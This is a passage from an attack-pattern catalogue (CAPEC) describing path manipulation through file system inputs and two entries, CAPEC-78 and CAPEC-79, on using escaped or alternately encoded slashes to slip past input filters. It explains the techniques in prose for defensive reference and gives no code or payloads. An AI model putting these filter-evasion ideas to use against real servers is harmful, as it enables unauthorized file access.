An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.